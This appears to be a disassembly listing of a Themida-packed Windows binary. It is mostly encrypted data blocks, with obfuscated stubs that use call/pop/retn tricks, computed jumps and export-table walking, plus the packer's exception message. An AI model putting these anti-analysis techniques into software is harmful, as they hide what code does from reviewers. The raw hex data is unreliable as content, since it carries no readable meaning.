		dd 8C14DFAAh, 9B09C522h, 9B2064A1h, 12CDE3B3h, 471Fh, 68B4AD00h
		dd 0F265423Ch, 0CF968C41h, 0C7C87F95h, 0B8E804B3h, 29F4FB6Ah
		dd 65094337h, 0AC5AFD29h, 0BBCF968Ch, 6517650Dh, 8CF82629h
		dd 0CA7ACF96h, 0FEAAC6C5h, 968CA959h, 6E02BECFh, 44060934h
		dd 46AD097Bh, 0FF000000h, 4C3C68B4h, 0E03D3236h, 2035FBE0h
		dd 9402CA09h, 9283B3A4h, 7480CF95h, 2965CE3Ch, 0AFF6FCAFh
		dd 81E97B42h, 95A06D9Eh, 6CDE0ACFh, 0D4DB0F65h,	65FA205Ch
		dd 0CCD1DE0Fh, 7C61C14h, 1FCA5808h, 7BE21810h, 0E3B39B09h
		dd 3E1F12CDh, 0AD000000h, 403A6EB4h, 8C41F265h,	7F95CF96h
		dd 2C2326CDh, 0AFDDFABEh, 0AFA0A1F3h, 2765B1CBh, 0D0DF0F65h
		dd 0C51F13CDh, 7B2F111Eh, 3FAD09h, 0D7F10000h, 14CD01B2h
		dd 0B05E821Bh, 8DE5E626h, 3A6EB47Fh, 41F26540h,	3ECF968Ch
		dd 0FB6966E6h, 0C6C9758Fh, 7B6558B2h, 8DD67815h, 0E7A3E68h
		dd 8B8443DCh, 262965D1h, 0CF968CF8h, 53B9F10Fh,	0FE96ADE1h
		dd 0A3F1FFFFh, 8AC0A8A7h, 48386CB4h, 8CCB7B1Ch,	2C58CF96h
		dd 8272D92Eh, 5BDFF86Ch, 709D282Fh, 1EAAD5AAh, 4FE8F622h
		dd 0BAA5DC08h, 0CB7976F2h, 0CCC37DA7h, 0C0CE3A86h, 771CB2Ah
		dd 1FCF4455h, 24C981C8h, 6CB5E088h, 17C74838h, 2CC981C8h
		dd 1ECA0D90h, 63C981C8h, 60243ACDh, 2E09D92Eh, 10h, 8C8CBEFEh
		dd 64E6CF96h, 0E46D256Bh, 3F000000h, 48386CB4h,	8CCB7B1Ch
		dd 322DCF96h, 5370E03Dh, 9A0807C1h, 0D1C60AFCh,	0B1F9D1D2h
		dd 57AD1955h, 0D20E9F90h, 95DA8DBDh, 0ABAC9ACFh, 0CF95DA7Bh
		dd 0C0CE7C88h, 0DD7A1F01h, 0B59A9EB1h, 0D5A6ABE2h, 0AD1949E7h
		dd 0AC30DE71h, 0B937C984h, 0BFB0B3F1h, 939C4FD9h, 4BFBC50Ah
		dd 0D709949Bh, 718C83BDh, 6EE151CFh, 0CF98F84Fh
dword_57FD18	dd 41F166D0h, 0C7CF90DFh, 0D97C02EFh, 47F59233h, 0D80B99C9h
					; DATA XREF: sub_56207C:loc_5719C0o
		dd 813F3033h, 0E1EE59CBh, 578CE61Ch, 979B4558h,	5E0A5EBAh
		dd 0A5323B39h, 0A0902CD5h, 3A5D9052h, 0C9849E0Ch, 197FED1Bh
		dd 47525D8Fh, 8F5D82DEh, 0D8A19576h, 0DE00000Bh, 0F7316768h
		dd 8F197F70h, 0A9FB515Eh, 47E1B7B8h, 5DC68C83h,	0D6D909B8h
		dd 29262680h, 906C163h,	6867E143h, 0F7989022h, 0C9822B47h
		dd 434547DCh, 0F5FA6A81h, 63BA2828h, 1AC42F19h,	0B3AC8815h
		dd 41FF61BCh, 2761CAD3h, 0F768DA1Ch, 3824BE9Bh,	6C6AD637h
		dd 72E02AEBh, 676A521Ch, 45240FCDh, 0F4000000h,	7D1A7B65h
		dd 3168BAC1h, 0A0F4DC79h, 0CEB45FF0h, 98EAD5A6h, 959A44AFh
		dd 0D65A8667h, 0B5BAAFF9h, 0AC9EE607h, 89BBEDA3h, 15E8E762h
		dd 0E360BD2Bh, 6EE15105h, 0CF95CD1Dh, 29262371h, 0F3E5641h
		dd 42BC9200h, 0C58B8443h, 343B2F45h, 8D34DB7Ch,	1062CF96h
		dd 40B3BD0h, 8740E296h,	4997C288h, 16D72D1Dh, 0D3DC0F19h
		dd 1E2C235Fh, 76D5AAD9h, 0DE2F201Ch, 13A10E62h,	0DD10CD27h
		dd 82408CBAh, 0FF6D9BC9h, 0A39B2799h, 0EF104DE3h, 184h
		dd 0FC6AB4BDh, 968CAB5Bh, 9E0CB8CFh, 907B65ACh,	78495B65h
		dd 5682FEB2h, 0C764F848h, 40F00D02h, 0C9C5A042h, 96259846h
		dd 0E311AFCFh, 2577A88Fh, 0C874CF96h, 918E7E98h, 9406275Dh
		dd 57FD84F6h, 472B2FB0h, 4F276535h, 0B3B751AFh,	4705F834h
		dd 0B488C2B6h, 8A423C68h, 3A6EB41Ah, 0F37B6540h, 7CAFC875h
		dd 83F9046Ch, 0CDE3B39Bh, 521F12h, 51A30000h, 0DB059897h
		dd 68B42557h, 36364C3Ch, 347CE439h, 0DB0F65C6h,	0EF3E3130h
		dd 63AC371h, 0CE011672h, 0CF968Ch, 0A57877F2h, 72E0EF5Fh
		dd 0AEA1913Eh, 0CF968C80h, 81FB6987h, 6EDB2965h, 0CCA49C61h
		dd 698243BEh, 1A44F2FDh, 27AD097Bh, 0FF000000h,	423C68B4h
		dd 8C41F265h, 23ECF96h,	65276558h, 59D1DE0Fh, 6BD5DA0Bh
		dd 53C17B65h, 292DCE6Ah, 0EC84323Dh, 0F653C8Eh,	17C9D4DBh
		dd 0E3351963h, 3C9D12CDh, 23000000h, 403A6EB4h,	5AFD2965h
		dd 0CF968CACh, 3A5D0DBBh, 0CF968D0Ch, 0A285ED1Bh, 0CF968C71h
		dd 65007AF6h, 8B844327h, 0ED077BD1h, 0B2AE7F70h, 4B003094h
		dd 54DC33DFh, 48AD26h, 0B4FF0000h, 65403A6Eh, 0CAD3DC0Fh
		dd 71E66216h, 0CF968CBEh, 14FF69BBh, 66DA232Ch,	17BB15E8h
		dd 0F6F3547Ah, 9CCC7AE8h, 32CBC406h, 65106A0Eh,	0DB0F6527h
		dd 6317C9D4h, 530D02C1h, 9599077Bh, 0D47B1612h,	0A2D0DF04h
		dd 73ADBCCEh, 0FFFFFFFEh, 48386CB4h, 0AAD9BAC7h, 8546DCD5h
		dd 3E29738Ah, 0C0EF8331h, 0BBAEC4B4h, 7280FCB4h, 5783FFF0h
		dd 40C6741Bh, 2F5DC982h, 82407AA8h, 85B5DAC9h, 82C98240h
		dd 57DB6976h, 0EBBF0031h, 406A98BFh, 4BF9C982h,	406997B2h
		dd 4EB4C982h, 4020D34h,	0AF97FC44h, 92C4AC54h, 0EEB78F91h
		dd 10FB09D9h, 81000000h, 968C8CBEh, 6B64E6CFh, 0D06D25h
		dd 0B43F0000h, 3A48386Ch, 1D69010Eh, 0A7B8797Ah, 0E652EED5h
		dd 425B548Ch, 326E9A9Eh, 0C341D894h, 1E121B99h,	24141BC4h
		dd 6B365BAh, 0E622DF9h,	0DD0A98E8h, 1D15CBD2h, 0F20B04C7h
		dd 6B27735Dh, 994AC9E4h, 76225ECFh, 662C231Ch, 0F10C033Ch
		dd 72E5518Dh, 0CF90CAC4h, 709E3543h, 0F7CF90CAh, 0BC043179h
		dd 0FB1EB8E8h, 3146E082h, 0BED12D45h, 0D5A504C2h, 947587A5h
		dd 8816D366h, 6AD42E1Ah, 67D32F65h, 854442F0h, 8B23C1C9h
		dd 0A2C52031h, 2A0C846h, 5B32CFC0h, 0CF8F5D6Eh,	84DC87Eh
		dd 0FD6B0000h, 0DD0A9CF2h, 3B2A7CD2h, 1DC45E34h, 7EEA3C12h
		dd 63881B71h, 0D3B9B6B2h, 0B49A9551h, 98FEF172h, 7DD3DC0Eh
		dd 0A250C73Bh, 0A1C98227h, 8143B0F4h, 0D7037F8Eh, 968C9240h
		dd 9D4DC2CFh, 0AACF968Ch, 0AFC3711Eh, 39C4CB75h, 0C90F1870h
		dd 303A101Fh, 0FCDEF0Ch, 6242h,	6CB4EA00h, 8CA555FAh, 5EF1CF96h
		dd 0CF968CB0h, 0EE1A39B7h, 0F1860070h, 86F7FAA6h, 9FB0CCA4h
		dd 0D5A78194h, 7984FD9h, 0C569EE82h, 0A578F6E8h, 59F00DBBh
		dd 0C98542A5h, 8C111ECFh, 0EB5EB5B0h, 0A92719E4h, 0BA4D9B54h
		dd 5ECCC37Ch, 0BCA2A5FBh, 9DCA588h, 135BC3CDh, 0BF8C3CD0h
		dd 3A84FBh, 0B4540000h,	3A48386Ch, 6966E209h, 0EF3EAC94h
		dd 4ACD3971h, 0D5A7A42Dh, 257F8E3Ah, 1916D03Bh,	722E5C84h
		dd 0DE2F2020h, 0BEE80E62h, 0D57A838Ch, 6CE35F0Bh, 0CF96A16Bh
		dd 0BC0E44F0h, 38804390h, 0B2C03C6Ch, 1864B9B6h, 1AC62728h
		dd 40A384ECh, 25D5A793h, 2AB7DA97h, 0BD89FBD1h,	0D4119753h
		dd 0D44AD79Ah, 0E0828869h, 3FDD4BAEh, 0E6DA57A1h, 0EBA7D55Fh
		dd 3FCB8364h, 916C980Fh, 500054BCh, 555A8EE4h, 75901848h
		dd 60C8EB1Bh, 0B99BEF2h, 5C1530CEh, 0C9BD6DE2h,	3E4A092Eh
		dd 8042D080h, 0ED5FC98Fh, 0AEFA17E2h, 310A4F2Bh, 6E205h
		dd 1D12D000h, 7976ED37h, 5B549113h, 0B9B6B3F5h,	9E9151D3h
		dd 17C66FB8h, 2C76DCD3h, 0CF593F30h, 0EB3D131Ch, 96207679h
		dd 2645F59Ah, 51C2C982h, 8E814353h, 1A85037Fh, 0AF4B9133h
		dd 0CB7AA8C0h, 0CC7E94C4h, 2849AFC3h, 68A494C0h, 0C726291Ah
		dd 0D2A97B19h, 7D7F8E42h, 0BA771235h, 0A0F0D5AAh, 0C6E13BA4h
		dd 0AFF5EC8Ah, 0C674EC31h, 6F60DD27h, 58758F92h, 0B4A27B8Fh
		dd 667h, 0B298974Dh, 96FCF370h,	78DED10Ch, 5E343B2Eh, 3D131CC4h
		dd 509041EAh, 0BFAFF95Fh, 9F48DAB0h, 0FE68BA90h, 0E1199BF1h
		dd 8225C06Eh, 0DECE47C9h, 48386CB4h, 0AAD9A6C7h, 5D0DBBD5h
		dd 3DF17EB3h, 5FD3E418h, 0B8B7B68Eh, 5839C069h,	0D703D88Fh
		dd 613h, 662C2321h, 4208073Ch, 246A65E0h, 2484782h, 0E9AFA0A0h
		dd 0FC6495BEh, 0DB0B9DF3h, 3B247ED4h, 1AC45E34h, 85F53F15h
		dd 82256492h, 72B2E3C9h, 8B727B65h, 416B9A49h, 0F0A40C29h
		dd 4DEA8F80h, 0E63CD5AAh, 6E946966h, 81C539E9h,	4B2CEC9h
		dd 4535436Ch, 0D637382Fh, 0D57066Ah, 13C2DFD0h,	278F58AAh
		dd 5A910C6h, 598F0000h,	0A1A60056h, 8FBEE8AEh, 0E958CA80h
		dd 0F276B0E6h, 0E70C97FDh, 573D3236h, 381E11CDh, 1C727DEEh
		dd 157588Ah, 26D47BB7h,	3DC98226h, 0F652468h, 14CCD1DEh
		dd 0B04C61Ch, 131CC55Fh, 0F4764E1Fh, 6EDA22FBh,	80409C61h
		dd 53B57E8Fh, 9DCDF2D0h, 34C9C607h, 8C9949CEh, 12AECF96h
		dd 0C95A8CE4h, 7CD2DD0Fh, 0D637382Ah, 968CC073h, 63E422CFh
		dd 0DEB4BBA5h, 0FA2A6462h, 0F299CC1h, 0F396Bh, 4BADB650h
		dd 0CF8BBBDCh, 6C98CF95h, 0BE29FD6Eh, 6FD923FAh, 0A10F2A60h
		dd 0CFDED111h, 5DB7E311h, 7A86EAE5h, 0A76812D5h, 0C74884D5h
		dd 0C9851F17h, 3F98902Ch, 1F1ECC43h, 9725C985h,	91458419h
		dd 0DCC9851Eh, 0E1A5BB4Ch, 0D109DC85h, 47h, 386CB47Fh
		dd 53B4E48h, 0E3622A20h, 960ABE6Ch, 0B93745CFh,	0ED5995F1h
		dd 960ABC6Ah, 753D4BCFh, 0A72F5DD2h, 1FEE1AD5h,	84E70638h
		dd 0F3FC68C9h, 1A15D22Ah, 39CA5E83h, 61E2361Bh,	0DC49477Fh
		dd 1300B09h, 43D10000h,	167A1E81h, 0DC649361h, 0AD936A65h
		dd 0F2FD653Fh, 0E763B944h, 0FE6AB8E8h, 61F62CF1h, 0CF95C6B1h
		dd 0FA8C3AB6h, 84BC414Eh, 65E73DECh, 9F49936Ah,	9BAA2000h
		dd 7BE97982h, 57BC810Fh, 0B696853Fh, 86F79CC2h,	0EECF9618h
		dd 0AD1D737Ch, 1130DE71h, 2937CF96h, 857E946Dh,	0EEB8368Fh
		dd 0B6AA737Ch, 0A9A6A0C2h, 4511FF54h, 88B6D915h
		dd 9FCF961Bh, 81FD0961h, 5FF25C07h, 0EAAD878Eh,	0B863619Ch
		dd 98BFF3E6h, 0D5A6CEAFh, 5F508DE7h, 1040FCDBh,	0B5AA66F6h
		dd 9F939A28h, 0A4F0D879h, 43F63F4h, 6977CF99h, 0D3CC411Fh
		dd 0C7483862h, 0CF93FA17h, 3F98902Ch, 0F65D181h, 9240D7D8h
		dd 0C2CF93F9h, 93F99D4Dh, 711EAACFh, 0C153AFC3h, 707FEA01h
		dd 2E1A8CC2h, 0FE13D021h, 0DA23894Eh, 3AE6Ch, 515E8400h
		dd 0B5BAA9FBh, 979845DFh, 0EDE267C1h, 0CAC57DA7h, 0CBFA2384h
		dd 0E83A101Fh, 8B1D737Ch, 0A7015758h, 52E4AAA5h, 2409395Eh
		dd 51EC982h, 0DE0F6507h, 1C14CCD1h, 5D0D02C6h, 6B0F00C7h
		dd 0F86F8505h, 0A0DED113h, 0A7A89AC8h, 0F659FF1h, 0F3C9D4DBh
		dd 0A5CD7B74h, 4742088h, 0A7B11C13h, 0B9DE0AD5h, 0C9856889h
		dd 4946869Eh, 909F49DBh, 0D1813F98h, 6DCCFE37h,	961D36Ah
		dd 8945F950h, 90C985h, 0EC251907h, 0C6609DCh, 1DC3DAD5h
		dd 0C9E215h, 438A0000h,	257F8E81h, 6CEB323Dh, 0CF9690FDh
		dd 94FAF577h, 6669DE34h, 1916D012h, 636CDB29h, 98BB369Ah
		dd 845FC7F0h, 864B6216h, 1D326E3Ah, 0D5A6C732h,	0A6D3B937h
		dd 0E6520E5Ah, 84B2C171h, 462A46C9h, 6212153Ah,	4957CF98h
		dd 2D0B9620h, 80F06EDBh, 93F9F672h, 0A654FB37h,	0BDCF93C1h
		dd 9396B0Fh, 0A66CEB06h, 0A378894Eh, 2AAB7h, 555A8800h
		dd 0B1BEA5FFh, 939C49DBh, 0F1FE6BBDh, 0D6D9099Bh, 0CFFE2780h
		dd 0E43E141Bh, 87217778h, 0A3054B44h, 0AEE8AEA1h, 230D3D52h
		dd 91AC982h, 8887431Bh,	0E9E660C2h, 37374DB9h, 8C639338h
		dd 54E0CF96h, 344EBADCh, 9CF8050Ah, 0EE52ABA4h,	0DF0F0070h
		dd 64CF968Ch, 652AA0C8h, 7D0CAE7Bh, 0D659236h, 831A15D7h
		dd 0CD428FB9h, 0CF964B1Dh, 0D1A6CA2Bh, 52719D7Ah, 9B944C26h
		dd 0EAA0DE02h, 4535614Fh, 7D353A2Fh, 9D050E01h,	3E4AD5A7h
		dd 7CB668EFh, 0F38C985h, 0A6A7FD00h, 0F4F5C39h,	9917CE24h
		dd 3A444C04h, 866F8527h, 42A2A5FBh, 84AC1DCDh, 609E2AC9h
		dd 726CF729h, 9DC0A4Ah,	0D34CF50Fh, 994911A2h, 0C9D44246h
		dd 35EC6317h, 0B2000000h, 0E1EFE060h, 3EFAA441h, 0C7357DA9h
		dd 48386CB4h, 0A7AF60C7h, 36D765D5h, 831DCEC8h,	6D312E0Eh
		dd 3BF02205h, 0EB3DC985h, 0BE7E4658h, 223009DCh, 0D8000000h
		dd 968C8DBEh, 9CC810CFh, 232270ACh, 0B6FD12Ch, 0A792E324h
		dd 1C4CF8D5h, 0BCAF4486h, 0B6D05B3h, 386CB4B1h,	6093A48h
		dd 0D53179E7h, 0A7A80142h, 0B34AE6D5h, 85716294h, 4957B3C9h
		dd 764D15DEh, 9BCDA5B8h, 42AE9688h, 16E009DCh, 88000000h
		dd 968C8CBEh, 0E3B711CFh, 925FA0B7h, 0C04D5A7h,	0E9AFDDD2h
		dd 0DC6CB497h, 0A29E6F60h, 0A6D34434h, 0A3D5AAD9h, 9BE92515h
		dd 9858A5AAh, 5DB08EFAh, 743C6BBFh, 47333C2Eh, 7139362Dh
		dd 0A4AB950Fh, 0B784EAF4h, 844257A7h, 0C8103DECh, 9356AC9Ch
		dd 0E768949Ch, 0CF967537h, 0B2C0B0CCh, 4FD9BFB0h, 0FCF3769Dh
		dd 7C813F21h, 0ED5D09D7h, 0A788DD6Ah, 4ACD39D5h, 0C985889Ch
		dd 0BA151DABh, 68A2F30Eh, 0F14A8F5Dh, 0CA45h, 757AE800h
		dd 515E851Fh, 0B3BCA9FBh, 919E4BDDh, 0F6F969BBh, 2FDE07A0h
		dd 0C45E343Bh, 0E7411718h, 83256B64h, 8E084E41h, 212DDD72h
		dd 693AC982h, 2629653Bh, 0CF968CF8h, 9CB9F10Fh,	0C4306034h
		dd 968CA353h, 1C14A0CFh, 0D8BB6FE0h, 0F513D5AAh, 1A42EA69h
		dd 3E99915Dh, 27217B82h, 0F8E66228h, 0E434DBF7h, 0C472E537h
		dd 43C98234h, 0B1F38735h, 0E265B8B7h, 0CC315C9Eh, 0FE38CB41h
		dd 9B0D434Ch, 7D47A6A9h, 353A2FC4h, 8EFA68E8h, 38C5CA74h
		dd 84B97038h, 0BBA563E4h, 7A88C4B4h, 9B4BC0CFh,	0A8CADB0Dh
		dd 0B0F2141Ch, 0F664B9B6h, 1Bh,	0C6C9788Ah, 6D62DD27h
		dd 6032A090h, 7587EBE4h, 0FB8E0886h, 6BA7E02Ch,	433E4C24h
		dd 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh,	4A926B64h
		dd 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h, 81E78957h
		dd 4C7h, 4BB5300h, 29000000h, 3C875BDFh, 0D7685C24h, 89000059h
		dd 89522434h, 4C281E2h,	83000000h, 148704EAh, 3C895C24h
		dd 97BB5324h, 0BE1F950Ah, 25A958CFh, 3AF9C681h,	0DE296DBEh
		dd 3AF9EE81h, 545B6DBEh, 83243C8Bh, 895504C4h, 86F89F5h
		dd 83242C8Bh, 3C8B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 5324348Bh, 0C381E389h, 4, 8704C383h,	0E95C241Ch, 0FFFD0FDBh
		dd 88522FF2h, 6D85E878h, 3E0423DFh
		db 0Eh,	0B3h
; ---------------------------------------------------------------------------


loc_5809F6:				; CODE XREF: sub_57E754:loc_57E927j
		mov	eax, 6146D9Ah
		add	eax, ebp
		jmp	eax
sub_57E754	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 75h
		dd 2573715Eh, 0F3731D5Dh, 1B665A7Bh, 0E537B429h, 1315144Fh
		dd 204750DBh, 4B7AB6B2h, 6703ACD2h, 0BF44EA5Dh,	973C1B1h
		dd 0E940CA1Fh, 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh
		dd 68h,	3C43B70Fh, 8166D803h, 0F45503Bh, 5785h,	785B8B00h
		dd 1C245C03h, 324738Bh,	561C2474h, 8B207B8Bh, 7C031C73h
		dd 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h
		dd 4C78320h, 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh
		dd 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h, 595A5E5Fh
		dd 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 0AE8CAh, 7F780000h, 9CCC93BBh
		dd 2ADCE35Ah, 0AE9h, 69B57300h,	0F3B6417Dh, 5F934CE2h
		dd 8CA5D981h, 0C7817EB7h, 59DEh, 0BAC033F5h, 400E6282h
		dd 0B2071C8Bh, 0DAC381E7h, 815F83E1h, 5D5442EEh, 74F3810Ch
		dd 81276CF3h, 7AEBBC3h,	12E931h, 3CB0000h, 987063C4h, 0C84E4C4Fh
		dd 0F0BCAE1Fh, 0B5920DEDh, 0B9071C89h, 5865975Ah, 1E883FCh
		dd 0B32FC181h, 48485D7Eh, 14E948h, 2BA70000h, 87991A33h
		dd 0DBA52B21h, 0AF2CD23Dh, 9A4A1CDDh, 0F88118D9h, 0FFFFA6ECh
		dd 19850Fh, 8B660000h, 2AE9D7h,	0CC1A0000h, 0FA74375h
		dd 0C85916Dh, 9DFE7F95h, 0E953C9BCh, 8,	112EDB20h, 6817D796h
		dd 0FFFF67E9h, 21C78AFFh, 6E9D10EBh, 6E8h, 6B4F8D00h, 6646EF40h
		dd 9834D681h, 3820F58h,	0F000000h, 0C081C8B7h, 659Ch, 40BFCE8Bh
		dd 56000019h, 599EEA80h, 0D38B30FFh, 0CE8B605Bh, 1870Fh
		dd 61F80000h, 4B0BEB81h, 890F756Fh, 6, 870Fh, 0F3810000h
		dd 28698FF5h, 0EB815CB1h, 572D8179h, 0BCBE6660h, 68D0F61h
		dd 0F000000h, 80h, 53536100h, 0E9008F5Eh, 6, 0EE825E1Ch
		dd 0E8814760h, 367268E5h, 6E9h,	3F9A2800h, 81F059F4h, 7268E1C0h
		dd 850F4F36h, 0FFFFFF90h, 38B0Fh, 0BF0F0000h, 400E9C9h
		dd 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset loc_560000
		dd offset dword_445750+0A8B0h
		dd 0
		dd 37E90000h, 60000011h, 0B79958Bh, 85090611h, 6111C65h
		dd 95858B61h, 0F061117h, 68Bh, 0E1950100h, 3906112Dh, 0F042444h
		dd 7685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 83FC7145h, 111E29BDh, 840F0006h
		dd 4Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 84C35242h, 0E944BFCCh, 0Bh, 963FECB0h, 96839625h, 8D592AC1h
		dd 113AA685h, 0BD896006h, 61132DDh, 0E118509h, 0FF610611h
		dd 7DB589E0h, 8B061112h, 110B0985h, 9E906h, 0A1F0000h
		dd 83ADDE63h, 3939E9B7h, 0F042444h, 6F85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 34B1CECh, 60E13144h,	0CE960h, 8AB20000h, 92777E77h
		dd 28E679C7h, 0BD8B9229h, 6111B4Dh, 178A0F61h, 0E9000000h
		dd 12h,	0BE817A1Eh, 705974B0h, 0FE3488FEh, 94C55664h, 95899980h
		dd 611310Dh, 746885C7h,	10614h,	0BD890000h, 6113171h, 0D952960h
		dd 0E9061118h, 30h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 51C35343h, 157C1134h,	0FEA2A21Eh, 18C0FCAh
		dd 0F5000000h, 0
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_5811A5:				; CODE XREF: Themida_:005811ADj
		xchg	eax, [ebp+61475D6h]
		or	eax, eax
		jnz	short loc_5811A5
		push	dword ptr [ebp+61106D1h]
		pop	dword ptr [ebp+6147460h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6112AD1h]
		cmp	dword ptr [ebp+6110441h], 0
		jz	short loc_5811D6
		push	0
		call	dword ptr [ebp+61105C5h]


loc_5811D6:				; CODE XREF: Themida_:005811CCj
		cmp	dword ptr [ebp+611244Dh], 1
		jz	short loc_5811EC
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6112AD1h]


loc_5811EC:				; CODE XREF: Themida_:005811DDj
		jmp	loc_581201
; ---------------------------------------------------------------------------
		xchg	eax, esi
		sub	[eax+62563BD3h], esp
		retn	0B731h
; ---------------------------------------------------------------------------
		xlat
		mov	esi, 321B8A4Eh


loc_581201:				; CODE XREF: Themida_:loc_5811ECj
		push	0
		push	edi
		call	sub_58120C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58120C	proc near		; CODE XREF: Themida_:00581204p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58120C	endp

; ---------------------------------------------------------------------------
		ror	bh, 1
		inc	edx
		dec	esi
		jmp	loc_581237
; ---------------------------------------------------------------------------
		db 78h,	67h, 42h
		dd 92F7D776h, 56270B47h, 81C7AAB6h
; ---------------------------------------------------------------------------
		inc	ecx
		push	edx
		pop	edx


loc_581237:				; CODE XREF: Themida_:00581220j
		mov	[ebp+6112221h],	eax
		mov	eax, 0
		push	0
		push	eax
		call	sub_58124D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58124D	proc near		; CODE XREF: Themida_:00581245p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58124D	endp

; ---------------------------------------------------------------------------
		push	52h
		stc
		pusha
		mov	esi, [ebp+611140Dh]
		jmp	loc_58127B
; ---------------------------------------------------------------------------
		dd 892A115Ah, 68B49969h, 6ABB186Eh
		db 72h,	88h, 18h
; ---------------------------------------------------------------------------


loc_58127B:				; CODE XREF: Themida_:00581267j
		popa
		mov	edx, [esp+28h]
		sub	[ebp+6110DE5h],	edx
		mov	[ebp+61103D5h],	eax
		push	0
		push	ebp
		call	sub_581297
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581297	proc near		; CODE XREF: Themida_:0058128Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_581297	endp

; ---------------------------------------------------------------------------
		db 8Fh
		dd 650AB18Ch, 0D99D897Bh, 0BE06111Fh, 3Ch, 247403F8h, 6820F24h
		dd 31000000h, 1109EDB5h, 6AAD6606h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 267FC352h
		dd 870F15C9h, 0Ch, 6850Fh, 0B5890000h, 61114BDh, 24244403h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8CC35141h
		dd 60603CFFh, 0F6DB8157h, 5B455100h, 3CDB8166h,	50506130h
		dd 2860F52h, 60000000h,	50310F61h, 0F616052h, 5A616031h
		dd 89585A58h, 8D012404h, 61103EDh, 6A78408Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 7AB2C350h, 3459D89h,	9D090611h, 6113099h, 7468BD83h
		dd 0F000614h, 0D385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0FCE0D4CCh, 133DBD89h
		dd 0F500611h, 0B8Ah, 8B666000h,	0F5250C8h, 61585A31h, 89240489h
		dd 111DBDB5h, 1840F06h,	0F9000000h, 2C24448Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 27C35242h, 0A7A984C2h
		dd 68F0FC5h, 89000000h,	111C59B5h, 0B4605006h, 0F820F6Ah
		dd 0E9000000h, 0Ah, 655B5C74h, 0BBDA97A2h, 8961E62Ch, 830F2404h
		dd 1, 0C0858DFCh, 6A06144Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0E9E9C353h,	96AA6FCBh
		dd 8E9h, 0D3F61800h, 0CF9B07B1h, 0F8D0FF67h, 28244403h
		dd 18408BFCh, 18B0Fh, 60F50000h, 0E18D89F8h, 6106110Fh
		dd 69BD8940h, 8906110Ch, 14746485h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 6A58B3DFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F513C352h, 0F78708Bh, 0C83h, 6810F00h, 89000000h
		dd 110B51B5h, 1CC68306h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0B1C35747h, 0E4717948h, 0F58D89F5h, 96061129h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h
		dd 0A35720EFh, 0F92C4032h, 18B0Fh, 81F80000h, 24247Ch
		dd 0F100000h, 0F687h, 0D953100h, 50061109h, 6E9h, 0C6731000h
		dd 89153067h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 1A27FFC3h, 0F863CE5h, 681h, 65858900h
		dd 8B06110Fh, 0FC282444h, 10E950h, 40980000h, 0A524BB12h
		dd 7F973D3Eh, 0B3EFB340h, 489266Ch, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8091DE4h, 97842006h
		dd 0A4D8589h, 95090611h, 611202Dh, 4AC0858Dh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0DC4607C3h, 7E960h, 0CA820000h, 0D1E6E05Eh, 218D89D1h
		dd 6106112Ch, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0B6F159C3h, 310D83A3h, 11155DB5h
		dd 41B58906h, 96061107h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 2FC35646h, 195556B4h,	3B7D8BDEh, 0FE9h
